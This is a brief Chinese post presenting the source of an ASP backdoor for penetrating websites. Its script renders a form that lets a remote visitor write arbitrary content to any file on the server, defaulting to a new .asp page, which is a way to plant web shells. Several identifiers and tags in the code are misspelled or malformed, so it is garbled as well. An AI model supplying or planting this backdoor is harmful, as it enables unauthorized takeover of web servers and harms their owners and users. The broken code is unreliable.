渗透asp后门源代码

CODE: <% on error resume next id=request("id") if request("id")=1 then testfile=Request.form("name") msg=Request.form("message") set fs=server.CreatObject("scripting.filesystemobject") set thisfile=fs.openTestFile(testfile,8,True,0) thisfile.Writeline(""&msg&"") thisfile.close set fs=nothing %> <from method="post" Action="保存"?id=1> <input type="text" size="20" name="Name" Value=<%=server.mappath("XP.ASP")%>> <textarea name="Message"> </textarea> <input type="Submit" name="send" Value="生成" class=input> </from> <%end if%>